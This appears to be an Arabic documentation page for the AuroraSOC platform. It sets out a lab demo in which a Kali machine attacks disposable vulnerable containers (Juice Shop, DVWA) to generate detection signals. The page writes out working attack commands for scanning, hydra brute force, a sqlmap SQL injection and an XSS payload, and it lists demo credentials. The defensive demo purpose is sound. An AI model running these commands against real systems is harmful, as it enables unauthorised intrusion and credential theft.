انتقل إلى المحتوى الرئيسي

مختبر عرض القدرات

استخدم هذا الدليل عندما تريد عرض AuroraSOC باستخدام حاسوبين على شبكة مختبر مصرح بها:

  • حاسوب Windows يشغل AuroraSOC مع حاويات أهداف متعمدة الضعف يمكن التخلص منها (OWASP Juice Shop وDVWA) عبر Docker أو Podman
  • حاسوب Kali Linux يشغل أدوات استطلاع واستغلال حقيقية (nmap, nikto, gobuster, ffuf, hydra, sqlmap) ضد تلك الأهداف فقط

الهدف هو توليد نشاط هجومي واقعي يستطيع AuroraSOC اكتشافه وتحليله والاستجابة له، من دون المساس بأنظمة الإنتاج أو أي مضيف خارجي.

نطاق السلامة

هذه الصفحة مخصصة لشبكة مختبر تملكها مع أهداف مختبر يمكن التخلص منها فقط.

  • اهجم فقط على الحاويات متعمدة الضعف (lab-juice-shop على المنفذ 3001 وlab-dvwa على المنفذ 8081) التي تعمل على حاسوب AuroraSOC.
  • لا توجه أبدًا أدوات Kali إلى AuroraSOC API (8000) أو لوحة التحكم (3000) أو الخدمات الداعمة (Postgres, Redis, NATS, Mosquitto) أو مضيف Windows نفسه أو أي عنوان آخر على الشبكة.
  • أبق AuroraSOC في وضع dummy أو dry_run إلا إذا كنت تعرض مختبرًا جاهزًا يشبه الإنتاج.
  • امسح حاويات الأهداف الضعيفة في نهاية العرض حتى لا تبقى بيانات اعتماد أو جلسات أو بيانات مزروعة.
  • لا تشغل reverse shells أو إطارات post-exploitation أو عينات malware أو تقنيات persistence. الهدف إشارة اكتشاف وليس اختراق كامل.
  • وضح للحضور أي أجزاء تستخدم حركة هجوم حية ضد أهداف المختبر وأي أجزاء تعتمد على مخرجات showcase أو dry-run من AuroraSOC.
وضع العرض الموصى به

لعرض موثوق على حاسوب محمول من دون أسطول الوكلاء المتخصصين، استخدم وضع dummy. يعيد هذا الوضع مخرجات showcase ثابتة للتنسيق والتحليل الشبكي.

استخدم dry_run عندما يكون المسار الأدنى للوكلاء قيد التشغيل وتريد قراءات حية مع معاينات تحليل غير مغيرة للحالة.

طوبولوجيا العرض

ما الذي يوضحه هذا العرض

القدرةالأمر أو الإجراءما الذي تعرضه في AuroraSOC
حقيقة وضع التشغيلGET /api/v1/system/modeشريط الوضع في Settings ومعنى وضع backend
رؤية لوحة التحكمفتح http://AURORA_HOST_IP:3000KPIs، التنبيهات المضمنة، الحالات، وسجل الوكلاء
إحصاء المنافذ والخدماتnmap -sS -sV -sC ضد أهداف المختبرنتائج T1046 Network Service Discovery
فحص ثغرات الويبnikto -h http://target:8081بصمة Scanner User-Agent ونمط الفحص في تحليل الشبكة
اكتشاف المحتوىgobuster dir, ffuf على جذور الويب المختبريةدفعة T1083 File and Directory Discovery
Brute Force على بيانات الاعتمادhydra ضد تسجيل الدخول في DVWAنمط T1110 Brute Force
حقن SQLsqlmap ضد معامل DVWA ?id=T1190 Exploit Public-Facing Application
محاكاة Beaconingاستدعاءات curl متكررة لـ Juice Shop APIإيقاع T1071.001 Web Protocol بنمط C2
تخطيط orchestratorPOST /api/v1/orchestrator/dispatchخطة تحقيق موزعة وارتباط MITRE
تحليل الشبكةPOST /api/v1/network-analyzer/analyzeنتائج read-only، IOCs، ومنطق flow/DNS
سير SIEM والتنبيهات والحالاتتنقل في لوحة التحكمتسليم الفرز، حالة مرتبطة، timeline، ومسار evidence
حواجز SOARتنفيذ playbook مع dry_run: trueالإجراءات المتوقعة من دون عزل أو حظر
تحقق smokemake smoke-minimal-dry-run أو smoke scriptتسلسل أوامر end-to-end قبل العرض الحي

أدوار الحاسوبين

يستضيف حاسوب Windows واجهة AuroraSOC API ولوحة التحكم والخدمات الداعمة. تفترض الأوامر التالية استخدام PowerShell من جذر المستودع.

أبق ثلاث نوافذ طرفية مفتوحة:

  1. سجلات البنية التحتية أو حالة Compose
  2. خادم AuroraSOC API
  3. خادم تطوير لوحة التحكم

فحص أولي على Windows

شغل PowerShell كمسؤول إذا احتجت إلى إضافة قواعد firewall.

# From the AuroraSOC repository root
$AURORA_HOST_IP = (Get-NetIPAddress -AddressFamily IPv4 |
Where-Object {
$_.IPAddress -notlike '127.*' -and
$_.IPAddress -notlike '169.254.*' -and
$_.InterfaceAlias -notlike '*Loopback*'
} |
Select-Object -First 1 -ExpandProperty IPAddress)

Write-Host "AuroraSOC host IP: $AURORA_HOST_IP"

# Allow the demo dashboard and API from the lab network.
if (-not (Get-NetFirewallRule -DisplayName "AuroraSOC Demo API and Dashboard" -ErrorAction SilentlyContinue)) {
New-NetFirewallRule `
-DisplayName "AuroraSOC Demo API and Dashboard" `
-Direction Inbound `
-Action Allow `
-Protocol TCP `
-LocalPort 8000,3000
}

# Allow the disposable, intentionally vulnerable lab targets.
if (-not (Get-NetFirewallRule -DisplayName "AuroraSOC Lab Vulnerable Targets" -ErrorAction SilentlyContinue)) {
New-NetFirewallRule `
-DisplayName "AuroraSOC Lab Vulnerable Targets" `
-Direction Inbound `
-Action Allow `
-Protocol TCP `
-LocalPort 3001,8081
}

إذا كانت قاعدة firewall موجودة مسبقًا، يتركها المقتطف كما هي.

تشغيل خدمات AuroraSOC

اختر محرك الحاويات المثبت على حاسوب Windows.

podman machine start
podman compose -f docker-compose.dev.yml up -d
podman compose -f docker-compose.dev.yml ps

شغل API على كل الواجهات حتى يستطيع حاسوب Kali الوصول إليه:

py -3.12 -m venv .venv
. .\.venv\Scripts\Activate.ps1
python -m pip install -e ".[dev]"
alembic upgrade head
uvicorn aurorasoc.api.main:app --host 0.0.0.0 --port 8000 --reload

في نافذة PowerShell جديدة، شغل لوحة التحكم على كل الواجهات:

cd dashboard
npm install
npm run dev -- --hostname 0.0.0.0

افتح لوحة التحكم من حاسوب Windows أولًا:

http://localhost:3000

استخدم بيانات الاعتماد التجريبية من دليل البدء السريع:

الحقلالقيمة
اسم المستخدمadmin
كلمة المرورadmin123!

نشر الأهداف متعمدة الضعف

هذه الحاويات مصممة ليتم مهاجمتها. إنها معزولة على منافذ مخصصة وتُزال أثناء التنظيف.

podman run -d --name lab-juice-shop --restart unless-stopped -p 3001:3000 docker.io/bkimminich/juice-shop
podman run -d --name lab-dvwa --restart unless-stopped -p 8081:80 docker.io/vulnerables/web-dvwa
podman ps --filter name=lab-

تحقق من إمكانية الوصول إلى الهدفين من حاسوب Kali:

curl -I "http://${AURORA_HOST_IP}:3001"
curl -I "http://${AURORA_HOST_IP}:8081"

إذا أظهرت DVWA صفحة الإعداد عند التشغيل الأول، انقر Create / Reset Database مرة واحدة. بيانات الاعتماد الافتراضية هي admin / password. اضبط مستوى الأمان على low من صفحة DVWA Security حتى تنجح حمولات SQLi وXSS التجريبية.

اختيار وضع تشغيل آمن

نفذ المصادقة مرة واحدة من PowerShell:

$API_BASE = "http://localhost:8000/api/v1"
$TOKEN = (curl.exe -s -X POST "$API_BASE/auth/token" `
-H "Content-Type: application/json" `
-d '{"username":"admin","password":"admin123!"}' | ConvertFrom-Json).access_token

لأكثر عرض موثوق على حاسوب محمول فقط، اضبط وضع dummy:

curl.exe -s -X POST "$API_BASE/system/mode" `
-H "Authorization: Bearer $TOKEN" `
-H "Content-Type: application/json" `
-d '{"mode":"dummy"}'

إذا كان orchestrator وnetwork analyzer بالحد الأدنى قيد التشغيل، استخدم dry_run بدلًا من ذلك:

curl.exe -s -X POST "$API_BASE/system/mode" `
-H "Authorization: Bearer $TOKEN" `
-H "Content-Type: application/json" `
-d '{"mode":"dry_run"}'

تحقق من الوضع الفعال:

curl.exe -s "$API_BASE/system/mode" -H "Authorization: Bearer $TOKEN"

دليل الهجوم من Kali

على Kali، اضبط عنوان IP لحاسوب Windows وعناوين أهداف المختبر.

export AURORA_HOST_IP="192.168.1.50"
export API_BASE="http://${AURORA_HOST_IP}:8000/api/v1"
export KALI_IP="$(ip -4 route get "$AURORA_HOST_IP" | awk '{for (i=1;i<=NF;i++) if ($i=="src") {print $(i+1); exit}}')"
export TARGET_HOST="$AURORA_HOST_IP"
export DVWA_URL="http://${TARGET_HOST}:8081"
export JUICE_URL="http://${TARGET_HOST}:3001"

mkdir -p ~/aurora-demo && cd ~/aurora-demo

# Confirm reachability of the vulnerable targets only.
curl -I "$JUICE_URL"
curl -I "$DVWA_URL"

كل كتلة أدناه ترتبط بتقنية MITRE ATT&CK ستستخدمها للتمحور داخل AuroraSOC. شغل الكتل بالترتيب حتى يروي timeline قصة متسقة.

1. الاستطلاع (T1046)

# Service and default-script scan against the known lab ports.
sudo nmap -Pn -sS -sV -sC -p 3001,8081 -oA nmap-services "$TARGET_HOST"

# Wider TCP sweep so AuroraSOC sees a clear scanning signature.
sudo nmap -Pn -p- --min-rate 1000 -oA nmap-allports "$TARGET_HOST"

2. فحص ثغرات الويب

nikto -h "$DVWA_URL" -o nikto-dvwa.txt -Format txt
nikto -h "$JUICE_URL" -o nikto-juice.txt -Format txt

3. اكتشاف المحتوى (T1083)

gobuster dir -u "$DVWA_URL" \
-w /usr/share/wordlists/dirb/common.txt \
-t 30 -o gobuster-dvwa.txt

ffuf -u "${JUICE_URL}/FUZZ" \
-w /usr/share/wordlists/dirb/common.txt \
-of csv -o ffuf-juice.csv

4. Brute Force لبيانات الاعتماد (T1110)

# Capture a fresh DVWA session cookie first (default creds: admin / password).
DVWA_COOKIE="$(curl -s -c - -d 'username=admin&password=password&Login=Login' \
"${DVWA_URL}/login.php" | awk '/PHPSESSID/ {print $6"="$7}')"
echo "DVWA_COOKIE=$DVWA_COOKIE"

# rockyou.txt ships gzipped on Kali; gunzip it once if needed.
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V \
"$TARGET_HOST" -s 8081 http-post-form \
"/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

5. حقن SQL (T1190)

sqlmap -u "${DVWA_URL}/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; ${DVWA_COOKIE}" \
--batch --level=2 --risk=2 --threads=4 --dbs

6. فحص Reflected XSS

curl -s -o /dev/null -w "%{http_code}\n" \
-b "security=low; ${DVWA_COOKIE}" \
"${DVWA_URL}/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E"

7. إيقاع Beaconing (T1071.001)

# Steady, low-jitter outbound HTTP to a Juice Shop API endpoint.
for i in $(seq 1 60); do
curl -s -o /dev/null "${JUICE_URL}/api/Products?_=$(date +%s%N)"
sleep 1
done

بعد كل كتلة، انتقل إلى AuroraSOC واستدع واجهة التحليل أدناه حتى يرى الحضور منطق AuroraSOC حول النشاط تقريبًا في الوقت الفعلي.

المصادقة من Kali

export TOKEN="$(curl -fsS -X POST "$API_BASE/auth/token" \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin123!"}' | jq -r .access_token)"

curl -fsS "$API_BASE/system/mode" \
-H "Authorization: Bearer $TOKEN" | jq

إذا لم يكن jq مثبتًا، استخدم sudo apt install -y jq أو اقرأ استجابة JSON الخام.

عرض تخطيط orchestrator

نفذ هذا من Kali بعد المصادقة:

curl -fsS -X POST "$API_BASE/orchestrator/dispatch" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"task\": \"Investigate suspected attack chain from Kali host ${KALI_IP:-unknown} against AuroraSOC lab targets: nmap port and service scanning, nikto web scanning, gobuster directory brute force, hydra login brute force, and sqlmap SQL injection on ports 3001 and 8081\",
\"priority\": \"high\"
}" | jq

اعرض هذه الحقول للحضور:

  • plan_summary
  • delegations
  • reasoning
  • mitre_techniques
  • confidence_policy

في وضع dummy يعيد هذا خطة showcase ثابتة. في وضع dry_run يعيد orchestrator خطة معاينة غير مغيرة للحالة.

عرض تحليل الشبكة read-only

curl -fsS -X POST "$API_BASE/network-analyzer/analyze" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"query\": \"Correlate reconnaissance, web scanning, brute force, SQL injection, and beaconing originating from ${KALI_IP:-unknown} against ${AURORA_HOST_IP} on ports 3001 and 8081\",
\"time_range_hours\": 4,
\"focus_area\": \"multi-stage web attack chain against lab targets\"
}" | jq

ثم اعرض النتائج الأخيرة:

curl -fsS "$API_BASE/network-analyzer/findings" \
-H "Authorization: Bearer $TOKEN" | jq

أكد أن Network Analyzer يعمل read-only. قيوده تشمل عدم حظر IP، وعدم تعديل firewall، وعدم عزل hosts، وعدم تنفيذ playbooks.

جولة لوحة التحكم

افتح لوحة التحكم من Kali أو من حاسوب Windows:

http://AURORA_HOST_IP:3000

استخدم هذا الترتيب أثناء العرض:

  1. Settings: اعرض وضع dummy أو dry_run واشرح أن العرض غير مغير للحالة.
  2. Overview: اعرض حجم التنبيهات، عدد الحالات، أجهزة CPS، ونتائج الشبكة.
  3. SIEM: ابحث في الأحداث المضمنة، واستخدم source/severity pivots، ورق حدثًا مناسبًا عند الحاجة.
  4. Alerts: افتح تنبيهًا عاليًا أو حرجًا، وراجع IOCs وMITRE mapping، ثم أنشئ أو اربط حالة.
  5. Cases: اعرض timeline وobservables وevidence والتعليقات وتسليم المهام.
  6. Agent Fleet أو AI Chat: اعرض أدوار الوكلاء وسياق تخطيط التحقيق.
  7. Network Analyzer: اعرض findings، وتفصيل DNS/flow، وIOCs، والتوصيات، ومنطق الوكيل.
  8. SOAR: شغل playbook بنمط dry-run فقط أو اطلب موافقة من دون تنفيذ containment.

مثال SOAR Dry-Run

استخدم IDs مختارة من صفحات SOAR وAlerts. المثال التالي غير مغير للحالة عمدًا.

curl -fsS -X POST "$API_BASE/soar/playbooks/execute" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"playbook_id": "pb-malware-response",
"alert_id": "replace-with-demo-alert-id",
"dry_run": true
}' | jq

أثناء العرض، ركز على الخطوات المتوقعة وحواجز الموافقة. لا تنفذ عزلًا حقيقيًا، أو حظر IP، أو تعطيل حساب، أو إلغاء شهادة أثناء عرض الحاسوب المحمول.

مسار Smoke اختياري

إذا كان مضيف Windows يحتوي على WSL أو Git Bash وكان Podman متاحًا، نفذ dry-run للتحقق النصي أولًا:

make smoke-minimal-dry-run

للتحقق من minimal stack بشكل أوسع، استخدم smoke script من بيئة shell تستطيع تشغيل Bash:

bash ./scripts/smoke_minimal_stack.sh --dry-run

لا تشغل السكربت من دون --dry-run إلا عندما يملك حاسوب العرض موارد كافية وتكون النماذج المحلية متاحة مسبقًا.

ترتيب العرض للمقدم

الدقيقةالإجراءنقطة الحديث
0-2عرض الطوبولوجيا والوضعأهداف مصرح بها، حاويات معزولة، واستجابات غير مغيرة للحالة
2-4فتح Overview وSettingsيستطيع المشغل معرفة هل البيانات showcase أم dry run أم real
4-6تشغيل استطلاع nmap من Kaliتصل إشارة فحص حقيقية إلى مضيف AuroraSOC
6-8تشغيل nikto وgobusterبصمة فاحص ويب ودفعة إحصاء دلائل
8-10تشغيل hydra لـ brute forceنمط فشل تسجيل الدخول يستطيع AuroraSOC ربطه
10-12تشغيل sqlmap وفحص XSSإشارة استغلال ضد تطبيق الويب الضعيف
12-13تشغيل حلقة beaconingإيقاع صادر ثابت ومنخفض الحجم
13-16إرسال مهمة إلى orchestrator وتحليل الشبكةيحول AuroraSOC التتابع إلى نتائج وIOCs وارتباط MITRE
16-18جولة Alerts وCases وSOARتسليم الفرز وخطة استجابة dry-run
18-20التنظيف والخلاصةإزالة الحاويات الضعيفة والقواعد دون ترك أثر

التنظيف

أوقف نوافذ dashboard وAPI باستخدام Ctrl+C، ثم أوقف خدمات البنية التحتية.

podman rm -f lab-juice-shop lab-dvwa
podman compose -f docker-compose.dev.yml down
Remove-NetFirewallRule -DisplayName "AuroraSOC Demo API and Dashboard" -ErrorAction SilentlyContinue
Remove-NetFirewallRule -DisplayName "AuroraSOC Lab Vulnerable Targets" -ErrorAction SilentlyContinue

استكشاف الأخطاء

Kali لا يستطيع الوصول إلى API

الأسباب المحتملة: Windows firewall يحظر المنفذ 8000، أو API مربوط على 127.0.0.1، أو الحاسوبان على VLAN مختلفتين.

الإصلاح:

  1. تأكد من تشغيل uvicorn باستخدام --host 0.0.0.0.
  2. تأكد من أن قاعدة Windows firewall تسمح بالمنفذ 8000 من شبكة المختبر.
  3. من Kali، شغل ping $AURORA_HOST_IP وcurl http://$AURORA_HOST_IP:8000/health.

لوحة التحكم تفتح محليًا فقط ولا تفتح من Kali

السبب المحتمل: Next.js مربوط على localhost فقط.

الإصلاح: شغله باستخدام npm run dev -- --hostname 0.0.0.0 وتأكد من السماح بالمنفذ 3000.

أوامر Podman تفشل على Windows

السبب المحتمل: Podman machine متوقفة أو Compose plugin غير متاح.

الإصلاح:

podman machine list
podman machine start
podman compose version

فشل المصادقة في API

استخدم زوج بيانات الاعتماد في البدء السريع: admin / admin123!. إذا غيرت إعدادات المصادقة، أعد توليد .env أو افحصه ثم أعد تشغيل API.

فشل Network Analyzer في dry_run

في dry_run يتوقع مسار Network Analyzer توفر runtime الأدنى للوكلاء. انتقل إلى dummy لعرض صناعي مضمون على الحاسوب المحمول، أو شغل مسار الوكلاء الأدنى قبل العرض.

تم حظر تنفيذ Playbook

هذا متوقع في وضعي dummy وdry_run للإجراءات المغيرة للحالة. استخدم dry_run: true واعرض الإجراءات المتوقعة وحواجز الموافقة ونموذج rollback بدلًا من تنفيذ containment.

Hydra ينتهي فورًا دون نتيجة

السبب المحتمل: ملف rockyou.txt مضغوط على Kali. شغل sudo gunzip /usr/share/wordlists/rockyou.txt.gz مرة واحدة قبل إعادة تشغيل hydra.

sqlmap يبلغ أن الطلب غير قابل للاستغلال

السبب المحتمل: مستوى أمان DVWA ليس low، أو أن الـ cookie الملتقط قديم. أعد تسجيل الدخول إلى DVWA واضبط Security على low وأعد تصدير DVWA_COOKIE قبل تشغيل sqlmap مجددًا.

حاويات المختبر تفشل في التشغيل على أجهزة ARM

السبب المحتمل: صورة vulnerables/web-dvwa توفر طبقات amd64 فقط. أضف --platform linux/amd64 إلى أمر docker run أو podman run.

الصفحات ذات الصلة